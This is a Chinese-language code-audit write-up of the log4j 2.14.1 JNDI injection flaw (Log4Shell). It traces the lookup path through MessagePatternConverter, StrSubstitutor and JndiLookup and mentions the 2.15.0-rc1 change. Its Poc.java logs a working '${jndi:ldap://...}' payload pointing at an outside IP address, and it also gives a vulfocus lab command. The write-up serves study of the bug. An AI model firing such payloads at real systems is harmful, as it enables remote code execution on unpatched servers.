log4j代码审计

环境搭建

开一个maven项目,导入依赖

  1. <dependencies>
  2. <dependency>
  3. <groupId>org.apache.logging.log4j</groupId>
  4. <artifactId>log4j-api</artifactId>
  5. <version>2.14.1</version>
  6. </dependency>
  7. <dependency>
  8. <groupId>org.apache.logging.log4j</groupId>
  9. <artifactId>log4j-core</artifactId>
  10. <version>2.14.1</version>
  11. </dependency>
  12. </dependencies>

创建一个Poc.java

  1. import org.apache.logging.log4j.LogManager;
  2. import org.apache.logging.log4j.Logger;
  3. public class Poc {
  4. private static final Logger LOGGER = LogManager.getLogger();
  5. public static void main(String[] args) {
  6. LOGGER.error("${jndi:ldap://47.97.123.81:11452/Exp}");
  7. }
  8. }

这里可以直接打jndi注入。

Apachelog4j - 图1

利用工具https://github.com/whwlsfb/Log4j2Scan

或者

  1. docker run -d -p 8081:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=47.97.123.81 vulfocus/vulfocus

启动vulfocus

代码审计

我们在关键点下断点org.apache.logging.log4j.core.pattern.MessagePatternConverter#format

然后进来之后看这个地方

Apachelog4j - 图2

这里用了循环,来检测${连号字符,就进入if判断里的东西,这时我们的payload里面是有${开头的,所以进入了if函数。

接下来主要是workingBuilder.append(this.config.getStrSubstitutor().replace(event, value));

这句代码。我们跟进一下进入config.getStrSubstitutor().replace(event, value)的替换操作

Apachelog4j - 图3

跟进这个substitute

Apachelog4j - 图4

这里while(pos < bufEnd)做了一个替换操作。

jndi:ldap://47.97.123.81:11452/Exploit提取出来放到varName

跟进这个this.resolveVariable(event, varName, buf, startPos, pos);

这里直接有lookup函数

之后进入Interpolator里的lookup函数

Apachelog4j - 图5

继续跟进进入JndiLookup

造成了jndi注入。

2.15.0-rc1

Apachelog4j - 图6

可以看到MessagePatternConverter变成了MessagePatternConverter$SimpleMessagePatternConverter

真正的解析的地方在MessagePatternConverter$LookupMessagePatternConverter

除非手动构造。。才能绕过,其实这个绕过感觉有点鸡肋